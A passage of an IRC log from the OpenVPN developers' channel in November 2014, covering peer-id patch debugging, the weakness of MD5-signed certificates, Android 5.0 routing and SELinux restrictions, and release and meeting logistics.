<@syzzer> lev__: yes, let's do generate_prefix as a separate patch - I'll try to look at the other stuff tonight 04:17 -!- dazo_afk is now known as dazo 05:17 < lev__> syzzer: Bedankt! 05:53 <@cron2> what is "generate_prefix"? 06:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 265 seconds] 06:12 -!- mattock_afk is now known as mattock 06:52 <@syzzer> as a part of peer-id, the name of a multi instance is regenerated 06:53 <@syzzer> however, that uses a gc in a multi instance, so each time an instance floats, it will allocate more memory 06:53 <@syzzer> so a long-lasting client that floats a lot will consume a lot of memory 06:54 <@cron2> good spot 06:54 <@syzzer> see https://github.com/stipa/openvpn/commit/590dd8c25d64af6ae4f1c888281b0b7343089500#commitcomment-8589040 06:54 <@vpnHelper> Title: Peer-id patch v5 · 590dd8c · stipa/openvpn · GitHub (at github.com) 06:55 <@cron2> having chased "gc leaks" before, the explanation is sufficient to understand the issue :) 06:57 <@syzzer> yeah, I actually think a gc inside an 'object' is design error... 06:57 <@cron2> nah, it's brilliance :-) (because as soon as that object is destroyed, all memory loosely associated with it is freed automatically) 06:57 <@cron2> but it needs some care what do do with the gc 06:58 <@cron2> (if you do not tie the gc to the multi_instance, you need to take extra care to free all associated memory...) 07:03 <@syzzer> for objects that have a 'init' and 'cleanup' function, cleaning up is quite trivial. putting a gc in there asks for hidden memory leaks... 07:03 <@syzzer> but I guess it is a matter of taste too 07:50 <@cron2> true 08:30 -!- mattock is now known as mattock_afk 09:34 -!- kef [~kef@matrix.fullmotion.de] has joined #openvpn-devel 09:41 <@cron2> is there a short summary somewhere if and why MD5 and SHA1 are still OK for HMAC? Got that question, and can't answer it... 09:43 <@cron2> ah, found something in wikipedia, though I don't understand a word of it 09:49 <+krzee> cron2, http://cseweb.ucsd.edu/~mihir/papers/hmac-new.html 09:49 <@vpnHelper> Title: (at cseweb.ucsd.edu) 09:51 <@cron2> thanks 09:51 <+krzee> np, hope it helps 09:53 <@syzzer> basically, hmac-md5 is ok, since it only requires MD5 to be a PRF, but no collision resistance 09:53 <@syzzer> but if at all possible, just use HMAC-SHA2 (or HMAC-SHA1) 09:54 <@syzzer> collision resistance of MD5 is broken 09:54 <@syzzer> so MD5 for hashing (like in certificates), is bad ;) 09:56 <@syzzer> ah, that's basically what krzee's link says :p 09:56 <+krzee> syzzer, since we're on the topic, could i ask the ramifications if a pki has default_md = md5 in its openssl.cnf (like the old easy-rsa did)? 09:57 <@syzzer> yep, than it's broken 09:57 <@syzzer> *then 09:57 <+krzee> its not still protected by the rsa? 09:58 <@syzzer> https://code.google.com/p/hashclash/ 09:58 <@vpnHelper> Title: hashclash - Framework for MD5 & SHA-1 Differential Path Construction and Chosen-Prefix Collisions for MD5 - Google Project Hosting (at code.google.com) 09:58 <@syzzer> nope, what happens in certs is that you hash the certificate, and sign the hash using RSA/EC 09:58 <@syzzer> so if you can forge the hash, you can forge certificates 09:59 <+krzee> ya ive cracked plenty sha1/md5, but i dont really understand how default_md weakens the whole thing 09:59 <+krzee> but you forge the hash, how do you sign it using the rsa? 09:59 <+krzee> or rather, how do you pretend it was signed? 09:59 <@syzzer> if you can create a different certificate with the same hash, you can just reuse the RSA signature 10:00 <@syzzer> since all the RSA signature authenticates is the hash 10:00 <+krzee> trippy 10:00 <+krzee> very cool 10:00 <+krzee> thanks 10:00 <@syzzer> that is what is called a collosion (and hence you need 'collision resistance') 10:01 <+krzee> i dont get some of how it works, but i guess i dont need to in order to understand the answer… thats for me to read up on better 10:02 <+krzee> for some reason it feels like youd need to be able to attack rsa too in order to generate a working private key, but obviously thats not correct 10:07 <@syzzer> you create a new private key, with a new certificate 10:08 <@syzzer> you just make sure the new certificate has the same hash as the certificate you want to 'break' 10:08 <@syzzer> so certificate pinning is an effective counter measure to this 10:09 <@syzzer> but without pinning, since same hash means same signature, the new certificate looks like it has been signed by the CA 10:09 <+krzee> oh boy 10:09 <+krzee> i get it now 10:10 <+krzee> i feel like we didnt make a big enough deal about easy-rsa2 using md5 by default 10:10 <@syzzer> yeah, you need to realize you're not actually trying to find the original key :) 10:10 <+krzee> i bet most users with over a year or 2 setups are insecure 10:10 <+krzee> and still dont know it 10:11 <@syzzer> yes, that could very well be... 10:14 <+krzee> in fact i have a setup or 2 i need to update :D 10:14 <@syzzer> lol, better get to it 10:44 -!- mattock_afk is now known as mattock 12:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 12:33 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 12:33 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 13:02 <@dazo> For those interested in kdbus (kernel dbus) ... a nice introduction https://lwn.net/Articles/619068/ 13:02 <@vpnHelper> Title: Kdbus meets linux-kernel [LWN.net] (at lwn.net) 13:20 <@dazo> oh, and this one - which is the real docs: https://lwn.net/Articles/619069/ 13:20 <@vpnHelper> Title: Documentation/kdbus.txt (from the initial patch set) [LWN.net] (at lwn.net) 13:49 <@syzzer> lev__: changes look good to me! 13:58 < lev__> syzzer: cool, thanks! Server is up and running with ~10 clients for 30 hrs, if tomorrow nothing happens, I'd say we're good to go. 14:00 <@syzzer> yeah, I think so too. 14:07 <@plaisthos> oh 14:07 <@plaisthos> android 5.0 now checks for captive portals even when a VPN is active and allows you to sign into them with an active VPN 14:19 <@vpnHelper> RSS Update - gitrepo: fix warnings on Windows <https://github.com/OpenVPN/openvpn/commit/a2466d9e6c78c57d579a1fa99c8554eabb9dbe44> || Fix compilation on Windows <https://github.com/OpenVPN/openvpn/commit/78b8fc720b6e6c31a889e4efaa28dbbc31da65ea> 14:20 <+krzee> whoa nice 14:24 <@syzzer> \o/ 14:33 <@cron2> indeed. busy day today, but now I get around to committing what is there etc :) 14:33 <@mattock> excellent! non-2.3.x windows builds :) 14:33 <@cron2> mattock: indeed, your buildbot should now produce a binary :-) (there will be one more patch for "older mingw" - 12.04 - but yours should be good enough) 14:38 <@dazo> cron2: save a few brain cycles for my patches ;-) (I'm looking at updating the down-root plug-in with a v3, based on feedback from Mike Gilbert) 14:42 -!- mattock is now known as mattock_afk 14:42 <@cron2> dazo: ack, won't look at v2 then :) 14:45 <@cron2> meh, git-send-email on ubuntu hates me... tried using it to send via SMTP (as opposed to "stuff into local mailer" which I usually do) and it connects, authenticates, sends MAIL FROM: <...> - and dies 14:45 <@dazo> eeww 14:45 <@dazo> tried --smtp-debug=1 ? 14:46 <@dazo> if using SSL/TLS, it might be cert issues, same which d12fk struggled with in the weekend 14:46 <@dazo> oh, no 14:47 <@dazo> it connects and can do MAIL FROM ... 14:47 <@dazo> hmmm 14:47 <@dazo> (most issues I've had has been related to getting a connection, not dying after getting a connection) 14:49 * cron2 debugs (as usual) by tcpdumping, no tls involved, and it's actually the server that dies 14:49 <@cron2> wtf 14:49 <@cron2> Nov 17 21:49:11 delta7z sm-mta[25008]: encoded packet size too big (1296124236 > 8192) 14:50 <@cron2> sometimes I really hate open source software 14:50 <@dazo> w00t!? 14:50 <@dazo> hahaha 14:50 <@cron2> this seems to be sendmail fighting cyrus-sasl 14:51 <@cron2> waaah. AUTH LOGIN works, AUTH DIGEST-MD5 crashes the server 14:51 <@plaisthos> :D 14:52 <@dazo> I abandoned sendmail many years ago for postfix .... never really regretted that 14:53 <@cron2> well, I stayed with sendmail "because it ships with the BSDs" (and, unfortunately, with AIX)... 14:53 <@dazo> fair enough .... I'd expect postfix on aix, though, as postfix is from ibm people 14:53 <@cron2> AUTH CRAM-MD5 also works 14:53 <@cron2> so weird 14:53 <@cron2> (maybe this is why my mom can't send mail from her thunderbird anymore... never came around debugging that as her ipad works) 14:54 < lev__> cron2: I got a mail from you with peer-id patch v5 14:54 <@cron2> dazo: AIX and open source is plain weird... they ship stuff, but that is usually quite heavily hacked, and fairly ancient 14:54 <@dazo> oh :( 14:54 <@cron2> lev__: sorry, that snuck out :) - I was testing with my own mail address, but it added CC: while I was not looking :-) 14:54 <@cron2> (and that tree has a patch of mine + peer-id v5 on top) 14:55 <@dazo> hmmm .... cron2, regarding the down-root ... there's quite some places where error handling can be improved, I'm rather considering sending that as a separate patch instead ... don't want to mix these two "things" 14:56 <@cron2> you decide and tell us :) 14:57 <@dazo> review v2 ;-) ... I'll do some compile tests on the error fixes and send patch soonish 15:01 <@cron2> mememe... --bind doesn't work for --socks-proxy connects 15:02 <@cron2> (which I would never need except that due to my router mixup my "on the desk" machine now connects with the wrong source address to <places>) 15:07 <@plaisthos> cron2: it doesn't? 15:08 <@cron2> as far as I can see, no... 15:08 <@plaisthos> lemme see 15:09 <@plaisthos> it kind of does 15:09 <@plaisthos> but it binds the control socket only 15:10 <@plaisthos> for udp socks 15:10 <@cron2> mmmh, lemme test again 15:11 <@cron2> ah 15:11 <@plaisthos> and for socks+udp data+control socket are assumed to have the same INET proto 15:11 * cron2 is too stupid to use --bind 15:12 <@plaisthos> :) 15:12 <@plaisthos> binding socket for tcp+socks should definitevely work from looking at the code 15:12 <@cron2> yeah, --bind + --local $ip works for the tcp connect, but then the udp fails 15:12 <@cron2> (because "unbound") 15:17 <@cron2> plaisthos: so is this for --secret or for --tls-auth? 15:17 <@cron2> your first patch said "secret", the 2nd one says "tls-auth" 15:18 <@cron2> anyway, to bed now... 15:19 <@dazo> cron2: that's two different patches, how I understood it ... both using the same "load key" infrastructure 15:19 <@plaisthos> cron2: it is for tls-auth 15:19 <@plaisthos> just ignore v1 15:20 <@dazo> we should be better at changing "[PATCH]" to "[PATCH v2]" to catch this :) 15:22 <@plaisthos> selinux for the win 15:22 <@plaisthos> (or whatever) 15:22 <@dazo> plaisthos++ ;-) 15:22 <@plaisthos> /proc/net/reoute has 444 on Android 5.0 15:22 <@plaisthos> and OpenVPN still is not allowed to read it 15:23 * cron2 ignores Arne v1 15:23 <@dazo> plaisthos: can you figure out which context openvpn runs as? (ps -Z) 15:23 <@dazo> plaisthos: and which context /proc/net/route have? (ls -Z) 15:23 <@plaisthos> u:r:untrusted_app:s0 15:24 <@cron2> dazo: it's the very same code, but v2 has manpage changes as well 15:24 <@plaisthos> -r--r--r-- root root u:object_r:proc_net:s0 route 15:24 <@dazo> heh ... okay 15:24 <@plaisthos> (whatever that means) 15:24 <@plaisthos> with context=u:r:shell:s0 I can read /proc/net/route 15:25 <@dazo> right ... the shell context has been granted read access to proc_net 15:26 <@plaisthos> the default route is missing in /proc/net/route 15:26 <@dazo> this one is not even possible to "fix" with a hack, it's needed to be done properly with a proper context for openvpn, otherwise the untrusted_app context will be able to read all proc_net 15:26 <@plaisthos> yeah 15:26 <@dazo> (which means any running apps with the untrusted_app context) 15:27 <@plaisthos> that is probably also the reason for rooting android 5.0 requiring a new kernel 15:27 <@dazo> yupp ... I guess the new kernel disables SELinux 15:27 <@dazo> (or adds selinux=0 in the kernel command line9 15:29 <@dazo> plaisthos: have you ever played with selinux policies? 15:29 <@plaisthos> dazo: no 15:29 <@plaisthos> http://pastebin.com/vMH15sTM 15:29 <@plaisthos> routing with one active vpn under android 5.0 15:29 <@plaisthos> aka I have no idea what android is doing 15:30 <@dazo> hmm 15:30 <@dazo> okay ... does the SDK version for 5.0 run with SELinux internally? 15:31 <@dazo> I can help you getting started on a policy module you can ship, but it needs to be installed as root with the proper privileges 15:31 <@plaisthos> dazo: nah 15:32 <@plaisthos> dazo: I rather not have such a hack in place 15:32 <@plaisthos> User will have to specify their local network in the UI instead of having it autodetected 15:33 <@dazo> I'm not thinking of a hack ... I'm thinking of a proper SELinux module which makes openvpn run with a more trusted context (openvpn_app) which will be granted read access to the /proc/net/route file (and other things it would need) 15:33 <@dazo> it's not a too difficult thing, but requires some testing 15:34 <@plaisthos> dazo: I know from a SELinux perspective that is fine 15:34 <@plaisthos> but from an Android perspective and how intrustive changing this stuff, it feels like quite a hack 15:35 <@dazo> I promise you, at least if its similar to the Linux world, it's a very clean approach :) 15:36 <@dazo> (semodule -i openvpnapp.pp ; restorecon /usr/sbin/openvpn ... and it's done) 15:36 * dazo brb 15:36 <@plaisthos> cron2: android now has a default rule (from all unreachable) that fixes the vpn routing problem 15:37 <@plaisthos> and this default rule is now also needed for normal routing, since a normal default route does not exist anymore %) 15:38 <@dazo> plaisthos: could it be a separate routing table? 15:38 <@plaisthos> yeah 15:38 <@dazo> all network traffic has to go via the kernel anyhow 15:39 <@plaisthos> in 1006 15:39 <@plaisthos> default via 192.168.43.1 dev wlan0 table 1006 proto static 15:39 <@plaisthos> AND in table 1044 15:39 <@plaisthos> default dev tun0 table 1044 proto static scope link 15:39 <@dazo> And I guess 1006 and 1044 are not static values :/ 15:55 <@plaisthos> trying to find out if openvpn may use netlink on Android is more difficult than I thought 15:55 <@plaisthos> I am not allowed to executed either system/bin/sh nor system/bin/ip 15:58 <@plaisthos> lets ship ip as oepnvpn binary :) 15:59 <@dazo> heh ... or write an SELinux policy ...... ;-) 15:59 <@plaisthos> okay that works 16:01 <@plaisthos> so reading route information via netlink or whatever ip uses works 16:01 <@dazo> that should work though 16:01 <@dazo> (until android 5.x enforces stricter policies on syscalls) 16:08 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 250 seconds] 16:09 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 17:35 -!- dazo is now known as dazo_afk 18:26 -!- novaflash is now known as novaflash_away 19:22 -!- novaflash_away is now known as novaflash 23:39 -!- CivisUS [~CivisUS@208.80.0.1] has joined #openvpn-devel --- Day changed Tue Nov 18 2014 01:07 -!- mattock_afk is now known as mattock 02:51 <@cron2> mmmh 02:52 <@cron2> when openvpn starts with verb 4, it will tell what it sents the socket buffers to... and on windows, the socket buffers are 8k... that will definitely have an impact on performance 02:59 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:15 <@syzzer> oh wow... 03:15 <@syzzer> sounds like an easy fix for windows performance? 03:16 <@plaisthos> dazo_afk: yeah :) 03:17 * cron2 won't claim to understand what's going on behind the scenes, but that message jumped at me :)) 03:17 <@mattock> sounds like a new Windows installer release again 03:17 <@mattock> fortunately I love making new Windows installer releases :P 03:18 <@mattock> although this probably means a new openvpn version also... 03:18 <@cron2> mattock: I think it's runtime controllable (--sndbuf/--rcvbuf) and just the defaults might be non-good - which would ease testing, and then we could adjust the defaults... 03:18 <@mattock> cron2: ah, ok 03:18 <@cron2> mattock: but while you're around :-) - please don't forget my netbsd buildslave 03:20 <@mattock> it's on my todo 04:29 <@vpnHelper> RSS Update - gitrepo: Fix windows build on older mingw versions. <https://github.com/OpenVPN/openvpn/commit/188a65153fb304db873694eaab21599e37ead908> 04:32 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 04:41 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 05:02 < lev__> dang, after almost 2 days peer-id server asserted in multi_instance_close while removing "UNKNOWN" key from m->hash. I wonder how mi->real became "UNKNOWN" https://github.com/stipa/openvpn/blob/peer-id/src/openvpn/multi.c#L546. Just before that a client has connected with same CN as existing one, and openvpn kicked old one (and failed on assert doing that). 05:02 <@vpnHelper> Title: openvpn/multi.c at peer-id · stipa/openvpn · GitHub (at github.com) 06:09 <@plaisthos> what was the name of the small nl library? 06:09 <@plaisthos> this one? 06:09 <@plaisthos> http://www.infradead.org/~tgr/libnl/ 06:09 <@vpnHelper> Title: libnl - Netlink Protocol Library Suite (at www.infradead.org) 06:10 <@plaisthos> or is that the fat one? 06:14 <@cron2> libnl is the fat one, https://git.netfilter.org/libmnl/tree/src is the small one 06:14 <@vpnHelper> Title: libmnl - libmnl tree (at git.netfilter.org) 06:25 <@cron2> plaisthos: if you find that this library makes sense, feel free to change the generic linux gateway detection code to use it - I'll need it for IPv6 anyway 06:25 <@cron2> (so, doesn't have to be #ifdef ANDROID) 06:29 <@plaisthos> cron2: yeah 06:29 <@plaisthos> will look into it 06:44 -!- kef [~kef@matrix.fullmotion.de] has left #openvpn-devel [] 07:46 <@plaisthos> from a first a look it shouldn't be that difficult 08:01 <@syzzer> lev__: did gdb tell you anything interesting? 08:01 <@syzzer> oh, need to go again... 08:44 < lev__> syzzer: nope :-/ but now I have valgrind and gdb with breakpoint on assert_failed(), so I should catch it next time 08:46 -!- dazo_afk is now known as dazo 09:07 <@dazo> plaisthos: libnl is rather small one, but fairly comprehensive 09:07 <@dazo> but libmnl is smaller, yes 09:08 <@dazo> plaisthos: with libmnl you must take much more care of the data you send or receive via netlink ... libnl have functions ready to tackle the routing tables directly 09:26 <@cron2> dazo: libnl is not really helpful for "single query to the routing socket" style usage - it basically replaces one complicated interface with another complicated interface 09:26 <@cron2> now if you wanted to listen to routing table events, tie yourself to libevent, etc., *then* libnl is really a big improvement :-) 09:30 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 09:35 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 10:03 <@dazo> cron2: libnl-3 which is the recommended version is an improvement over libnl-2 ... I've had "raw socket" and libmnl prototype implementations in python-ethtool, moved to libnl2 and later on to libnl3 ... My experience is that libnl3 is the easiest one anyhow, and fairly well documented these days 10:03 <@dazo> but ... it's all about personal preferences :) 10:13 <@cron2> I'm not sure which version of libnl I looked at, but I found it far too heavyweight (and thus, not a real improvement) over "raw NL". OTOH, things might look completely different from a python p.o.v. where "raw structure handling" is not as natural as in C... :-) 10:13 <@cron2> but I'll look again and come to some conclusion... 10:15 <@cron2> (and I really need to build a prototype implementation that does what I want and then see which variant hurts less - I'm willing to accept "some extra hurt" if it saves inclusion of a new build dependency, but not much) 10:23 <@dazo> I'm maintaining the python ethtool module, which is written in C :) 10:25 <@dazo> (but provides ethtool functionality to python scripts, naturally) 10:53 <@cron2> NOTICE: build-snapshot succeeded for commit 188a65153f 10:53 <@cron2> woo-hoo, git-master based installer! 11:24 <@dazo> \o/ 11:58 <@mattock> I will need to automatically uploading those installers to build 12:35 -!- CivisUS [~CivisUS@208.80.0.1] has quit [Quit: Textual IRC Client: www.textualapp.com] 12:43 -!- CivisUS [~CivisUS@73.3.189.197] has joined #openvpn-devel 13:22 <@plaisthos> \o/ 14:59 -!- mattock is now known as mattock_afk 16:20 <@syzzer> nice! 17:02 <@vpnHelper> RSS Update - tickets: #481: FreeBSD topo subnet self-route not via loopback interface? <https://community.openvpn.net/openvpn/ticket/481> 17:56 -!- dazo is now known as dazo_afk 20:47 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 22:43 -!- CivisUS [~CivisUS@73.3.189.197] has quit [Quit: Textual IRC Client: www.textualapp.com] --- Day changed Wed Nov 19 2014 00:16 -!- mattock_afk is now known as mattock 00:17 -!- lev__ [~lev@stipakov.com] has quit [Remote host closed the connection] 00:24 -!- lev__ [~lev@stipakov.com] has joined #openvpn-devel 00:46 < lev__> It was a good advice to run peer-id server with valgrind. Found Invalid Read in tls_update_remote_addr and after some time valgrind got killed by OOM. Added more memory, continuing investigation. 01:59 <@cron2> mmmh, complex stuff that 02:02 <@cron2> btw, is it just me, or is the only documentation for libmnl the examples/ subdirectory, which has a bunch of mostly-uncommented programs in there? 02:07 <@syzzer> lev__: invalid read doesn't sound good. Existing code? Or one of the structures the peer-id stuff is poking in? 02:35 <@cron2> syzzer: could you check https://community.openvpn.net/openvpn/ticket/480? 02:35 <@vpnHelper> Title: #480 ([PATCH] Openvpn with crytpodev on FreeBSD does not work) – OpenVPN Community (at community.openvpn.net) 02:37 <@cron2> (also on the devel list, Matthias Andree / AES-NI trouble) 02:38 <@syzzer> cron2: yeah, saw that, got it flagged, but need to dive in... 02:39 < lev__> syzzer: the code which updates remote addr in tls_multi.sessions https://gist.github.com/stipa/36f5cee9b3571d4d1520 02:39 <@vpnHelper> Title: gist:36f5cee9b3571d4d1520 (at gist.github.com) 02:39 < lev__> this line: https://github.com/stipa/openvpn/blob/peer-id-logs/src/openvpn/ssl.c#L3510 02:39 <@vpnHelper> Title: openvpn/ssl.c at peer-id-logs · stipa/openvpn · GitHub (at github.com) 02:39 <@syzzer> cron2: let me just rapidly change the subject, did you look at applying the 'modernize keys' to release/2.3? 02:42 <@cron2> syzzer: did (sunday) but it doesn't apply cleanly and didn't look into "what should it look like" yet 02:42 <@cron2> if I saw this right, 2.3 does not have the EC samples, so the README had conflicts 02:43 <@cron2> (and right now, my brain is elsewhere - need to finish a talk about routing and bcp38...) 02:44 <@syzzer> cron2: ah, right. If you prefer I can rebase it for 2.3? 02:45 <@syzzer> lev__: certainly suspicious, but don't have time to dive in now. 02:45 * syzzer off for more meetings. *yay* 02:47 <@cron2> syzzer: if you rebase it, I need less brains to merge it :-) (but it's still sitting in my queue so won't get lost) 03:37 < lev__> syzzer: I am looking into that, but any ideas are more than welcomed 04:01 <@cron2> mattock: as a side note, your build reports get sent from "samuli <samuli@openvpn-build.openvpn.in>"... 04:02 <@mattock> yep 04:02 <@mattock> I'm sending them directly from the server, not via my own email account 04:02 <@mattock> does that trigger spam detection or such? 04:03 <@cron2> you still should put a valid sender address in there - the only reason why my MTA isn't dropping them is that there *is* an openvpn.in domain 04:03 <@mattock> ok, I have to do that for Trac also 04:03 <@cron2> or is that yours? 04:03 <@cron2> (if openvpn.in is yours, all is good) 04:03 <@mattock> it is ours yes 04:04 <@cron2> ah 04:04 <@cron2> ok, forget what I said - then everything is fine. There is DNS, there is MXes, it's ok. 04:04 <@mattock> ok :) 04:04 <@cron2> I just assumed that an internal domain leaked out, and the "real" domain would belong to "someone in india" 05:15 <@plaisthos> cron2: I was wrong about 5.0 and VPN. Seems google has really fixed that stuff. My tablet with the 5.0 build has working IPv6 vpn in v4 only environment 05:29 <@mattock> this one looks interesting: https://www.cloudandheat.com/en/index.html#heating 05:29 <@vpnHelper> Title: Cloud - The efficient Cloud Service (at www.cloudandheat.com) 05:54 -!- dazo_afk is now known as dazo 06:07 <@dazo> cron2: Last time I tried to use libmnl, I had used netlink rfc as support documentation 06:08 <@dazo> http://tools.ietf.org/html/rfc3549 06:08 <@vpnHelper> Title: RFC 3549 - Linux Netlink as an IP Services Protocol (at tools.ietf.org) 06:37 <@cron2> dazo: thanks for the pointer 06:37 <@cron2> plaisthos: how do they do it? 07:12 <@plaisthos> cron2: http://pastebin.com/vMH15sTM 07:12 <@plaisthos> the basic trick is the from all unreachable rule 07:12 <@plaisthos> and that more stuff is now in the rules table than in iptables 07:13 <@plaisthos> e.g. the whole uidrange stuff 07:13 <@plaisthos> iirc that was purely iptable before 07:15 <@cron2> plaisthos: ah, nice. So they have been listening :) 07:16 <@plaisthos> btw. even the netlink code will fail on android 07:17 <@plaisthos> because there is no default route in the main routing table 07:18 <@cron2> fun 07:19 <@plaisthos> yeah. Everything is policy routing now 07:20 <@plaisthos> https://developer.android.com/about/versions/android-5.0.html#Wireless 07:20 <@vpnHelper> Title: Android 5.0 APIs | Android Developers (at developer.android.com) 07:20 <@plaisthos> btw. that is the new multi networking api 07:20 <@cron2> so is there an API for "where is my default route?" as well? 07:22 <@plaisthos> not yet sure ... 07:22 <@plaisthos> it seems more a API: "What network connections does the system habe and which of these are actually usuable?" 07:23 <@plaisthos> e.g. Android 5.0 will not always prefer WiFi over mobile anymore 07:23 <@plaisthos> if you happen to connect to captive wifi and android thinks that your wifi does not work, all applications will continue to use mobile data 07:23 <@plaisthos> (unless you use this API, where you can decide yourself) 07:25 <@plaisthos> but yes there seem to be a way to query routes: 07:25 <@plaisthos> https://developer.android.com/reference/android/net/LinkProperties.html 07:25 <@vpnHelper> Title: LinkProperties | Android Developers (at developer.android.com) 07:28 <@plaisthos> I will have to play with API to see how I can use it 07:34 <@plaisthos> But I probably prefer that over implementing netlink since it is an official API (instead of netlink which might or might not work in the next version) 07:55 <@cron2> yeah, makes sense 08:24 -!- mattock is now known as mattock_afk 09:14 < lev__> Oh damn me. I should have iterated until KS_SIZE (2), not until KEY_SCAN_SIZE(3). That is the reason for valgrind "Invalid Read" and most probaby cause of assert (seems due to memory corruption, since I also write to invalid address) 11:10 <@syzzer> lev__: hah, that sounds like you found the last issue! cool! 11:10 <@syzzer> well, at least the one we've spotted ';) 12:09 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 12:11 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:56 -!- kef [~kef@matrix.fullmotion.de] has joined #openvpn-devel 14:52 -!- dazo is now known as dazo_afk 15:56 <@cron2> lev__: I'll run more tests tomorrow, beat your server more 16:34 <@syzzer> cron2: lol, got fed up with the 'Network Security Engineer' on -users? 23:01 < Hes> lev__: last issue before the next one ;) Did you throw it at Coverity yet? 23:02 < Hes> But, good stuff. 23:58 < lev__> Hessu: v2 was thrown, but not the changes between v2 - coming v6 --- Day changed Thu Nov 20 2014 00:11 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 00:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:16 < lev__> cron2: you are welcome to beat my server, let me know if you need more certs 00:18 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 02:07 -!- dazo_afk is now known as dazo 03:05 <@dazo> cron2: I just replied to Mahmoud as well ... spare a few cycles, maybe that answers what you may want to reply :) 03:09 <@cron2> dazo: didn't see that mail yet, am at a conference right now... just logged in. But good to know 03:11 <@dazo> okay, have fun :) 03:19 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:05 <@dazo> cron2 is funny on the ML :) 04:10 <@cron2> dazo: just answering questions! 04:10 <@dazo> I have to admit, it was an exact answer! :) 05:57 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 06:20 <@dazo> syzzer: just began thinking of certificate hashes .... x509_get_sha1_hash() ... how will that behave on certificates with sha2 hashes? 06:20 <@dazo> Both openssl and polarssl implementations seems to extract this info from internal structures 06:23 <@syzzer> dazo: I expect the code to just create a SHA1 hash for that particular cert 06:24 <@syzzer> but then again, with openssl you never know ;) so I'd have to check te code. 07:22 <@dazo> syzzer: I think you're right about polarssl though 07:22 * dazo goes for food 08:25 <+krzee> whats the subject of the email with the 'Network Security Engineer' ? 08:25 <+krzee> i could use a chuckle 08:36 <@syzzer> krzee: [Openvpn-users] Layer 2 tunnel (VPN) 08:38 <+krzee> thx 08:43 <+krzee> "During the community meeting this weekend there were no objections amongst he developers present" 08:43 <+krzee> there was a meeting?? 09:23 <@cron2> krzee: not that I know :) - where is that quote from? 10:16 <@dazo> krzee: hackathon in Muinch last weekend ;-) 10:17 <@dazo> krzee: we just coincidentally manage to empty cron2's brain along with all the hacking .... didn't manage to plug a memory leak in time .... 10:17 <@cron2> well, I seem to remember large amounts of beer, but I wasn't aware that this got quoted in public 10:18 <@dazo> maybe I confuse things ... I haven't yet recovered as well :) 10:18 <@dazo> (but I do know we talked about a lot of things :)) 10:25 <@syzzer> cron2: that is a quote from me on the 'remove ENABLE_SSL' 10:26 <@cron2> ah, there 10:27 <@cron2> has anyone actually responded to that? 10:32 <@syzzer> nope 10:33 <@dazo> Asked in #openvpn 10:33 <@dazo> <Eugene> I can't imagine anybody seriously missing that one, except maybe the Debianites 10:33 <@dazo> <Eugene> Or that one Gentoo lunatic(there's always one...) 10:33 <@cron2> lol 10:45 -!- dazo is now known as dazo_afk 10:52 <@plaisthos> lol 11:18 <@cron2> mattock: can you announce a meeting for next monday, as agreed? 11:18 <@mattock> yeah 11:19 <@cron2> thanks (no idea about agenda so far) 11:26 <@mattock> review what's missing from 2.4 maybe? 11:26 <@mattock> and elaborate on that later 11:27 <@cron2> we did that in Munich :) - not again, we need to work on that list first 11:27 <@cron2> maybe just "review open patches" and "peer-id" 11:43 < lev__> Hes: checked peer-id with Coverity - nothing meaningful found 11:44 < lev__> So far (1d 2hrs) no warnings from Valgrind. I am getting optimistic about v6 (v5 + review fixes + corruption/crash fix). 12:05 < lev__> I should have done it before and save some time. Just tried non-fixed code on Coverity and it mentioned that defect (appeared at v5). 13:23 <@mattock> cron2: I meant along the lines "poke a stick at people (me included) who have pending patches/work for 2.4" 13:23 <@mattock> and keep poking until the missing pieces are there :P 15:00 -!- mattock is now known as mattock_afk 16:36 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 22:18 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel --- Day changed Fri Nov 21 2014 01:00 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 01:01 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel 01:19 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:58 -!- mattock_afk is now known as mattock 02:47 <@mattock> cron2: did we decide to change the meeting time, or did we stick to 18:00 UTC? 02:48 <@cron2> 20:00 european time, which maps to 19:00 UTC right now 02:48 <@cron2> ("these people with kids can't make 19:00 local time9 02:48 <@mattock> CET? 02:48 <@cron2> yep 02:48 <@cron2> Europe/Berlin :) 02:48 <@mattock> what if we just use 19:00 UTC? 02:48 <@mattock> easier to calculate for everybody else 02:49 <@cron2> that would be 21:00 local time in summer, which is a bit late 02:50 <@mattock> what worries me is the period when DST changes 02:50 <@mattock> things might get quite messy if there are two overlapping DST changes going on at the same time 02:50 <@mattock> does entirely europe change to DST at the same time? 02:50 <@cron2> well, the 